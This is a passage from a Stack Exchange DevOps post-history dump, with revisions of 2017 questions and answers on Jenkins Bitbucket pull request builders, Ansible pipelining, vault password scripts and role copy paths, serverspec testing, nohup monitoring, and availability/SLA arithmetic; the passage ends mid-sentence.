  <row Id="2337" PostHistoryTypeId="5" PostId="728" RevisionGUID="57c25875-1564-48d3-ac81-a4d3a69c8b7d" CreationDate="2017-03-30T19:24:25.253" UserId="14" Comment="Grammar corrections" Text="This is how I've setup my BitBucket Pull Requests Builder.&#xD;&#xA;&#xD;&#xA;[![Pull Request Builder Example][1]][1]&#xD;&#xA;&#xD;&#xA;**CRON**&#xD;&#xA;&#xD;&#xA;Use `* * * * *` and it will poll BitBucket every minute to check for PRs.&#xD;&#xA;&#xD;&#xA;**Credentials**&#xD;&#xA;&#xD;&#xA;Setup a shared credential that you can use amongst all projects.&#xD;&#xA;&#xD;&#xA;**Repo Owner &amp; Name**&#xD;&#xA;&#xD;&#xA;You should take the data from your repo URL/SSH like:&#xD;&#xA;&#xD;&#xA;`git@bitbucket.org:REPO_OWNER/REPO_NAME.git`&#xD;&#xA;&#xD;&#xA;**Branches Filter**&#xD;&#xA;&#xD;&#xA;You can choose to only build specific branches or leave it blank to build all.&#xD;&#xA;&#xD;&#xA;**CI Identifier &amp; Name**&#xD;&#xA;&#xD;&#xA;I set this as the name of our CI account we setup on BitBucket. If you create a new BitBucket account just for your pull requests, grant permission to the repositories that it needs. Then whatever username you set that new account to have enter it as the CI Name and CI Identifier.&#xD;&#xA;&#xD;&#xA;Finally, leave the bottom two options ticked.&#xD;&#xA;&#xD;&#xA;That's the settings that work for us.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2woNF.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2338" PostHistoryTypeId="24" PostId="728" RevisionGUID="57c25875-1564-48d3-ac81-a4d3a69c8b7d" CreationDate="2017-03-30T19:24:25.253" Comment="Proposed by 14 approved by 40, 47 edit id of 207" ContentLicense="CC BY-SA 3.0" />
  <row Id="2339" PostHistoryTypeId="5" PostId="730" RevisionGUID="f59678a4-f663-4e6e-8efd-66b35884fc3e" CreationDate="2017-03-30T20:52:01.107" UserId="323" Comment="It didn't work" Text="The cure (or bandaid) was to set Pipelining=False in the ansible.cfg file.  &#xD;&#xA;&#xD;&#xA;This kind of stinks because I like Pipelining and it works, but I guess ansible is gonna treat that first ssh statement as something 'it owns' even though it's a local action.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2340" PostHistoryTypeId="2" PostId="731" RevisionGUID="c9f12edf-90dc-49c2-9660-fac15fcd1f31" CreationDate="2017-03-30T20:53:58.060" UserId="901" Text="I took a look into [Server Spec][2] and it says it clearly: &#xD;&#xA;&#xD;&#xA;&gt; Remark: serverspec test suites are meant to be run against a single machine  (or docker container). In other words, you should not try to issue a single rspec command that would harvest and run tests against multiple machines or containers. You need to issue one rspec command for each of them.&#xD;&#xA;&#xD;&#xA;So I can do test per-server, which is good for some cases. But the problem is the following: my microservice architecture has a auto-discovery service, so some services are known after querying it. Is there any project to express this? I know I can tool around with ruby (or python if I choose  [testinfra][1] or other) &#xD;&#xA;&#xD;&#xA;Something integrates with Consul with serverspec or similar will be great, [in 2014 people were looking for this][3], does anyone know of any project that tackled this issue?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://testinfra.readthedocs.io/en/latest/examples.html &quot;testinfra&quot; &#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;  [3]: https://groups.google.com/forum/#!topic/consul-tool/PMKN_hop8Ec" ContentLicense="CC BY-SA 3.0" />
  <row Id="2341" PostHistoryTypeId="1" PostId="731" RevisionGUID="c9f12edf-90dc-49c2-9660-fac15fcd1f31" CreationDate="2017-03-30T20:53:58.060" UserId="901" Text="How to test a cluster of microservices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2342" PostHistoryTypeId="3" PostId="731" RevisionGUID="c9f12edf-90dc-49c2-9660-fac15fcd1f31" CreationDate="2017-03-30T20:53:58.060" UserId="901" Text="&lt;testing&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2343" PostHistoryTypeId="2" PostId="732" RevisionGUID="24ad1ce2-37e2-496a-a6f5-c3d6a8dab21e" CreationDate="2017-03-30T20:56:50.260" UserId="397" Text="After reading [Tensibai's excellent answer][1], I realised I used to be able to calculate this for network analysis purposes.  I dug out my copy of [High Availability Network Fundamentals][2] by Chris Oggerino and had a crack at working this out from, not quite first principals.&#xD;&#xA;&#xD;&#xA;Taking my serial example directly out of Tensibai's answer is simply a case of multiplying the probability of each component being available by the other:&#xD;&#xA;&#xD;&#xA;[![Serial Availability][3]][3]&#xD;&#xA;&#xD;&#xA;So &#xD;&#xA;&#xD;&#xA;&gt; 99.95% * 99.95% = **99.9%**&#xD;&#xA;&#xD;&#xA;Calculating it in parallel is a little more complicated as we do need to consider what the percentage *un*availability will be:&#xD;&#xA;&#xD;&#xA;[![Serial and Parallel Availability][4]][4]&#xD;&#xA;&#xD;&#xA;The calculation is done as follows:&#xD;&#xA;&#xD;&#xA; 1. Multiply the *un*availability of the two regions together.&#xD;&#xA;&#xD;&#xA;  &gt; 0.1% * 0.1% = **0.0001%**&#xD;&#xA;&#xD;&#xA; 2. Convert that back to availability&#xD;&#xA;&#xD;&#xA;  &gt; 100% - 0.0001% = **99.9999%**&#xD;&#xA;&#xD;&#xA; 3. Multiply the Traffic Manager availability by the availability of the two regions.&#xD;&#xA;&#xD;&#xA;  &gt; 99.99% * 99.9999% = **99.9899%**&#xD;&#xA;&#xD;&#xA; 4. The result is the whole system availability.&#xD;&#xA;&#xD;&#xA;  &gt; 99.9899% is close to **99.99%**&#xD;&#xA;&#xD;&#xA;I ended up using Excel to perform the calculations, here is the values:&#xD;&#xA;&#xD;&#xA;[![Excel Values][5]][5]&#xD;&#xA;&#xD;&#xA;... and the formulas ...&#xD;&#xA;&#xD;&#xA;[![Excel Formulas][6]][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/a/715/397&#xD;&#xA;  [2]: https://www.amazon.co.uk/Availability-Network-Fundamentals-Chris-Oggerino-ebook/dp/B0015T6G44&#xD;&#xA;  [3]: https://i.stack.imgur.com/ux8vH.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/dWKLI.png&#xD;&#xA;  [5]: https://i.stack.imgur.com/67BzD.png&#xD;&#xA;  [6]: https://i.stack.imgur.com/u2POH.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2345" PostHistoryTypeId="2" PostId="733" RevisionGUID="b795a6fc-79e7-4973-a471-59e497a5e05e" CreationDate="2017-03-31T03:22:28.533" UserId="132" Text="&lt;code&gt;--vault-password-file&lt;/code&gt; can instead point to an executable script that writes to stdout. This little-known feature should solve your problem.&#xD;&#xA;&#xD;&#xA;First, write a simple, executable script that prints a system environment variable, and check that into your source control. Then, use Bitbucket's encrypted variable feature to set that environment variable to your ansible-vault secret. Finally, execute like so:&#xD;&#xA;&#xD;&#xA;&lt;code&gt;ansible-playbook site.yml --vault-password-file ./mypass.sh&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;References:&#xD;&#xA;&#xD;&#xA;1. http://docs.ansible.com/ansible/playbooks_vault.html#running-a-playbook-with-vault&#xD;&#xA;&#xD;&#xA;2. https://groups.google.com/forum/#!topic/ansible-devel/1vFc3y6Ogto" ContentLicense="CC BY-SA 3.0" />
  <row Id="2346" PostHistoryTypeId="2" PostId="734" RevisionGUID="0f7d920a-2c54-4afd-b61e-2e53ac71d672" CreationDate="2017-03-31T03:25:15.940" UserId="46" Text="I use `nohup` for starting Ansible playbooks inside the Master which is spawned via boto3 from AWS Lambda.&#xD;&#xA;&#xD;&#xA;This playbook creates multiple workers, make them do some tasks, and terminates them.&#xD;&#xA;&#xD;&#xA;So, I want to design/build a reliable monitoring system for the same. For now, I am writing the logs of `nohup` to a `tasks.log` file inside master, and pushing it to a store(for now, S3) once the Ansible plays are completed.&#xD;&#xA;&#xD;&#xA;**But, I wanted to know whether there is a much more elegant (and/or) better method for doing the same?  And also, whether there are good tools which would help me in the process?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="2347" PostHistoryTypeId="1" PostId="734" RevisionGUID="0f7d920a-2c54-4afd-b61e-2e53ac71d672" CreationDate="2017-03-31T03:25:15.940" UserId="46" Text="Are there any best practices and/or tools for 'nohup' monitoring?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2348" PostHistoryTypeId="3" PostId="734" RevisionGUID="0f7d920a-2c54-4afd-b61e-2e53ac71d672" CreationDate="2017-03-31T03:25:15.940" UserId="46" Text="&lt;monitoring&gt;&lt;aws-lambda&gt;&lt;practices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2349" PostHistoryTypeId="6" PostId="734" RevisionGUID="59f9783b-395c-45e1-9259-76cb54693653" CreationDate="2017-03-31T03:45:37.863" UserId="46" Comment="edited tags" Text="&lt;ansible&gt;&lt;aws-lambda&gt;&lt;monitoring&gt;&lt;practices&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2350" PostHistoryTypeId="2" PostId="735" RevisionGUID="19b20c28-73c5-452d-9d42-e9155e3f46d7" CreationDate="2017-03-31T05:44:42.227" UserId="907" Text="I have a webserver playbook containing the following:&#xD;&#xA;&#xD;&#xA;    - hosts: webserver&#xD;&#xA;      become: true&#xD;&#xA;      roles:&#xD;&#xA;        - apache2&#xD;&#xA;        - { role: demo_app, db_user: demo, db_pass: demo, db_name: demo }&#xD;&#xA;&#xD;&#xA;My folder structure is &#xD;&#xA;&#xD;&#xA;    .&#xD;&#xA;    ├── ansible&#xD;&#xA;    │   ├── ansible&#xD;&#xA;    │   ├── ansible.cfg&#xD;&#xA;    │   ├── ansible.pub&#xD;&#xA;    │   ├── dev&#xD;&#xA;    │   ├── docker-compose.yml&#xD;&#xA;    │   ├── Docker.zip&#xD;&#xA;    │   ├── env&#xD;&#xA;    │   │   ├── ansible&#xD;&#xA;    │   │   ├── ansible.pub&#xD;&#xA;    │   │   ├── Dockerfile&#xD;&#xA;    │   │   ├── init-fake.conf&#xD;&#xA;    │   │   ├── ssh_config&#xD;&#xA;    │   │   └── ssh_host_config&#xD;&#xA;    │   ├── playbooks&#xD;&#xA;    │   │   ├── database.yml&#xD;&#xA;    │   │   ├── hostname.yml&#xD;&#xA;    │   │   └── loadbalancer.yml&#xD;&#xA;    │   ├── startup.sh&#xD;&#xA;    │   └── temp&#xD;&#xA;    │       ├── ansible&#xD;&#xA;    │       ├── ansible.cfg&#xD;&#xA;    │       ├── ansible.pub&#xD;&#xA;    │       ├── dev&#xD;&#xA;    │       ├── docker-compose.yml&#xD;&#xA;    │       └── Docker.zip&#xD;&#xA;    ├── ansible.cfg&#xD;&#xA;    ├── ansible.pub&#xD;&#xA;    ├── control.yml&#xD;&#xA;    ├── database.yml&#xD;&#xA;    ├── demo&#xD;&#xA;    │   └── demo.conf&#xD;&#xA;    ├── dev&#xD;&#xA;    ├── docker-compose.yml&#xD;&#xA;    ├── Docker.zip&#xD;&#xA;    ├── env&#xD;&#xA;    │   ├── ansible&#xD;&#xA;    │   ├── ansible.pub&#xD;&#xA;    │   ├── Dockerfile&#xD;&#xA;    │   ├── init-fake.conf&#xD;&#xA;    │   ├── ssh_config&#xD;&#xA;    │   └── ssh_host_config&#xD;&#xA;    ├── loadbalancer.yml&#xD;&#xA;    ├── main.yml&#xD;&#xA;    ├── playbooks&#xD;&#xA;    │   ├── hostname.yml&#xD;&#xA;    │   ├── stack_restart.yml&#xD;&#xA;    │   └── stack_status.yml&#xD;&#xA;    ├── roles&#xD;&#xA;    │   ├── apache2&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   ├── control&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   ├── demo_app&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   │   └── app&#xD;&#xA;    │   │   │       ├── demo.py&#xD;&#xA;    │   │   │       └── requirements.txt&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   │   └── demo.wsgi.j2&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   ├── mysql&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   └── nginx&#xD;&#xA;    │       ├── defaults&#xD;&#xA;    │       ├── files&#xD;&#xA;    │       ├── handlers&#xD;&#xA;    │       │   └── main.yml&#xD;&#xA;    │       ├── meta&#xD;&#xA;    │       │   └── main.yml&#xD;&#xA;    │       ├── README.md&#xD;&#xA;    │       ├── tasks&#xD;&#xA;    │       ├── templates&#xD;&#xA;    │       │   └── nginx.conf.j2&#xD;&#xA;    │       ├── tests&#xD;&#xA;    │       │   ├── inventory&#xD;&#xA;    │       │   └── test.yml&#xD;&#xA;    │       └── vars&#xD;&#xA;    │           └── main.yml&#xD;&#xA;    ├── site.yml&#xD;&#xA;    ├── startup.sh&#xD;&#xA;    ├── templates&#xD;&#xA;    ├── webserver.retry&#xD;&#xA;    └── webserver.yml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Ansible version is 2.2.1**. I'm getting the following error when trying to run ansible-playbook webserver.yml&#xD;&#xA;&#xD;&#xA;    TASK [demo_app : copy demo app source] *****************************************&#xD;&#xA;    fatal: [app01]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;failed&quot;: true, &quot;msg&quot;: &quot;Unable to find 'demo/app/' in expected paths.&quot;}&#xD;&#xA;    fatal: [app02]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;failed&quot;: true, &quot;msg&quot;: &quot;Unable to find 'demo/app/' in expected paths.&quot;}&#xD;&#xA;    	to retry, use: --limit @/work/webserver.retry&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP *********************************************************************&#xD;&#xA;    app01                      : ok=6    changed=0    unreachable=0    failed=1   &#xD;&#xA;    app02                      : ok=6    changed=0    unreachable=0    failed=1   &#xD;&#xA;&#xD;&#xA;The relevant task is:&#xD;&#xA;&#xD;&#xA;    - name: copy demo app source&#xD;&#xA;      copy: src=demo/app/ dest=/var/www/demo mode=0755&#xD;&#xA;      notify: restart apache2&#xD;&#xA;&#xD;&#xA;I've tried altering the above copy src to `/demo_app` and this didnt help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2351" PostHistoryTypeId="1" PostId="735" RevisionGUID="19b20c28-73c5-452d-9d42-e9155e3f46d7" CreationDate="2017-03-31T05:44:42.227" UserId="907" Text="Ansible expected paths error" ContentLicense="CC BY-SA 3.0" />
  <row Id="2352" PostHistoryTypeId="3" PostId="735" RevisionGUID="19b20c28-73c5-452d-9d42-e9155e3f46d7" CreationDate="2017-03-31T05:44:42.227" UserId="907" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2353" PostHistoryTypeId="5" PostId="735" RevisionGUID="24e22c7b-3250-4bd0-aaa1-a984ae95534f" CreationDate="2017-03-31T05:51:25.983" UserId="907" Comment="added 34 characters in body" Text="I have a webserver playbook containing the following:&#xD;&#xA;&#xD;&#xA;    - hosts: webserver&#xD;&#xA;      become: true&#xD;&#xA;      roles:&#xD;&#xA;        - apache2&#xD;&#xA;        - { role: demo_app, db_user: demo, db_pass: demo, db_name: demo }&#xD;&#xA;&#xD;&#xA;My folder structure is &#xD;&#xA;&#xD;&#xA;    .&#xD;&#xA;    ├── ansible&#xD;&#xA;    │   ├── ansible&#xD;&#xA;    │   ├── ansible.cfg&#xD;&#xA;    │   ├── ansible.pub&#xD;&#xA;    │   ├── dev&#xD;&#xA;    │   ├── docker-compose.yml&#xD;&#xA;    │   ├── Docker.zip&#xD;&#xA;    │   ├── env&#xD;&#xA;    │   │   ├── ansible&#xD;&#xA;    │   │   ├── ansible.pub&#xD;&#xA;    │   │   ├── Dockerfile&#xD;&#xA;    │   │   ├── init-fake.conf&#xD;&#xA;    │   │   ├── ssh_config&#xD;&#xA;    │   │   └── ssh_host_config&#xD;&#xA;    │   ├── playbooks&#xD;&#xA;    │   │   ├── database.yml&#xD;&#xA;    │   │   ├── hostname.yml&#xD;&#xA;    │   │   └── loadbalancer.yml&#xD;&#xA;    │   ├── startup.sh&#xD;&#xA;    │   └── temp&#xD;&#xA;    │       ├── ansible&#xD;&#xA;    │       ├── ansible.cfg&#xD;&#xA;    │       ├── ansible.pub&#xD;&#xA;    │       ├── dev&#xD;&#xA;    │       ├── docker-compose.yml&#xD;&#xA;    │       └── Docker.zip&#xD;&#xA;    ├── ansible.cfg&#xD;&#xA;    ├── ansible.pub&#xD;&#xA;    ├── control.yml&#xD;&#xA;    ├── database.yml&#xD;&#xA;    ├── demo&#xD;&#xA;    │   └── demo.conf&#xD;&#xA;    ├── dev&#xD;&#xA;    ├── docker-compose.yml&#xD;&#xA;    ├── Docker.zip&#xD;&#xA;    ├── env&#xD;&#xA;    │   ├── ansible&#xD;&#xA;    │   ├── ansible.pub&#xD;&#xA;    │   ├── Dockerfile&#xD;&#xA;    │   ├── init-fake.conf&#xD;&#xA;    │   ├── ssh_config&#xD;&#xA;    │   └── ssh_host_config&#xD;&#xA;    ├── loadbalancer.yml&#xD;&#xA;    ├── main.yml&#xD;&#xA;    ├── playbooks&#xD;&#xA;    │   ├── hostname.yml&#xD;&#xA;    │   ├── stack_restart.yml&#xD;&#xA;    │   └── stack_status.yml&#xD;&#xA;    ├── roles&#xD;&#xA;    │   ├── apache2&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   ├── control&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   ├── demo_app&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   │   └── app&#xD;&#xA;    │   │   │       ├── demo.py&#xD;&#xA;    │   │   │       └── requirements.txt&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   │   └── demo.wsgi.j2&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   ├── mysql&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;    │   └── nginx&#xD;&#xA;    │       ├── defaults&#xD;&#xA;    │       ├── files&#xD;&#xA;    │       ├── handlers&#xD;&#xA;    │       │   └── main.yml&#xD;&#xA;    │       ├── meta&#xD;&#xA;    │       │   └── main.yml&#xD;&#xA;    │       ├── README.md&#xD;&#xA;    │       ├── tasks&#xD;&#xA;    │       ├── templates&#xD;&#xA;    │       │   └── nginx.conf.j2&#xD;&#xA;    │       ├── tests&#xD;&#xA;    │       │   ├── inventory&#xD;&#xA;    │       │   └── test.yml&#xD;&#xA;    │       └── vars&#xD;&#xA;    │           └── main.yml&#xD;&#xA;    ├── site.yml&#xD;&#xA;    ├── startup.sh&#xD;&#xA;    ├── templates&#xD;&#xA;    ├── webserver.retry&#xD;&#xA;    └── webserver.yml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Ansible version is 2.2.1**. I'm getting the following error when trying to run ansible-playbook webserver.yml&#xD;&#xA;&#xD;&#xA;    TASK [demo_app : copy demo app source] *****************************************&#xD;&#xA;    fatal: [app01]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;failed&quot;: true, &quot;msg&quot;: &quot;Unable to find 'demo/app/' in expected paths.&quot;}&#xD;&#xA;    fatal: [app02]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;failed&quot;: true, &quot;msg&quot;: &quot;Unable to find 'demo/app/' in expected paths.&quot;}&#xD;&#xA;    	to retry, use: --limit @/work/webserver.retry&#xD;&#xA;    &#xD;&#xA;    PLAY RECAP *********************************************************************&#xD;&#xA;    app01                      : ok=6    changed=0    unreachable=0    failed=1   &#xD;&#xA;    app02                      : ok=6    changed=0    unreachable=0    failed=1   &#xD;&#xA;&#xD;&#xA;The relevant task is:&#xD;&#xA;&#xD;&#xA;    - name: copy demo app source&#xD;&#xA;      copy: src=demo/app/ dest=/var/www/demo mode=0755&#xD;&#xA;      notify: restart apache2&#xD;&#xA;&#xD;&#xA;I've tried altering the above copy src to `/demo_app` and also `src=demo_app/files/app` but this didnt help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2354" PostHistoryTypeId="2" PostId="736" RevisionGUID="ceed32aa-e752-4a36-a601-e3b3a90b3349" CreationDate="2017-03-31T06:23:54.867" UserId="775" Text="The task which fails is:&#xD;&#xA;&#xD;&#xA;    - name: copy demo app source&#xD;&#xA;      copy: src=demo/app/ dest=/var/www/demo mode=0755&#xD;&#xA;      notify: restart apache2&#xD;&#xA;&#xD;&#xA;If you have a look at your folder structure and more specifically the `demo_app` role, you have:&#xD;&#xA;&#xD;&#xA;    │   ├── demo_app&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   │   └── app&#xD;&#xA;    │   │   │       ├── demo.py&#xD;&#xA;    │   │   │       └── requirements.txt&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   │   └── demo.wsgi.j2&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;&#xD;&#xA;The `copy` task will look for the `src` in `demo_app/files/`. So, either change your task to:&#xD;&#xA;&#xD;&#xA;    - name: copy demo app source&#xD;&#xA;      copy: src=app dest=/var/www/demo mode=0755&#xD;&#xA;      notify: restart apache2&#xD;&#xA;&#xD;&#xA;Or create a `demo` directory in `demo_app/files/` and place the `app` directory in it (like `demo_app/files/demo/app/`).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2355" PostHistoryTypeId="5" PostId="736" RevisionGUID="2caafe90-c847-47f9-a641-db425c45b842" CreationDate="2017-03-31T06:37:43.913" UserId="775" Comment="added 115 characters in body" Text="The task which fails is:&#xD;&#xA;&#xD;&#xA;    - name: copy demo app source&#xD;&#xA;      copy: src=demo/app/ dest=/var/www/demo mode=0755&#xD;&#xA;      notify: restart apache2&#xD;&#xA;&#xD;&#xA;If you have a look at your folder structure and more specifically the `demo_app` role, you have:&#xD;&#xA;&#xD;&#xA;    │   ├── demo_app&#xD;&#xA;    │   │   ├── defaults&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── files&#xD;&#xA;    │   │   │   └── app&#xD;&#xA;    │   │   │       ├── demo.py&#xD;&#xA;    │   │   │       └── requirements.txt&#xD;&#xA;    │   │   ├── handlers&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── meta&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── README.md&#xD;&#xA;    │   │   ├── tasks&#xD;&#xA;    │   │   │   └── main.yml&#xD;&#xA;    │   │   ├── templates&#xD;&#xA;    │   │   │   └── demo.wsgi.j2&#xD;&#xA;    │   │   ├── tests&#xD;&#xA;    │   │   │   ├── inventory&#xD;&#xA;    │   │   │   └── test.yml&#xD;&#xA;    │   │   └── vars&#xD;&#xA;    │   │       └── main.yml&#xD;&#xA;&#xD;&#xA;The `copy` task will look for the `src` in `demo_app/files/`. So, either change your task to:&#xD;&#xA;&#xD;&#xA;    - name: copy demo app source&#xD;&#xA;      copy: src=app dest=/var/www/demo mode=0755&#xD;&#xA;      notify: restart apache2&#xD;&#xA;&#xD;&#xA;Or create a `demo` directory in `demo_app/files/` and place the `app` directory in it (like `demo_app/files/demo/app/`).&#xD;&#xA;&#xD;&#xA;Setting an absolute path to the directory in the task will also work, but don't think it's an elegant solution.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2359" PostHistoryTypeId="5" PostId="715" RevisionGUID="5f980c2e-7bee-4cf7-9716-c63cc5f9b18a" CreationDate="2017-03-31T07:28:57.753" UserId="13" Comment="deleted 41 characters in body" Text="I'd take that as a math problem with the SLA being the probability of being OK.&#xD;&#xA;&#xD;&#xA;In this case we can rely on [probability rules][1] to get an overall.&#xD;&#xA;&#xD;&#xA;For your first case the probability that App Service (A) and Sql Service (B) are down at the same time is the product of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)*P(B) = 0.0005 * 0.0005 = 0,00000025&#xD;&#xA;&#xD;&#xA;The probability that one of them is down is the sum of their probability:&#xD;&#xA;&#xD;&#xA;    P(A)+P(B) = 0.001&#xD;&#xA;&#xD;&#xA;When two events are independents the resulting formula to take in account the probability of both being down is:&#xD;&#xA;&#xD;&#xA;    P(A,B) = P(A) + P(B) - P(A)*P(B) = 0.001 - 0,00000025 = 0,00099975&#xD;&#xA;&#xD;&#xA;So the overall SLA would be `1 - 0,00099975 =  0,99900025` wich in percent is `99.900025 %`&#xD;&#xA;&#xD;&#xA;A simplification is the 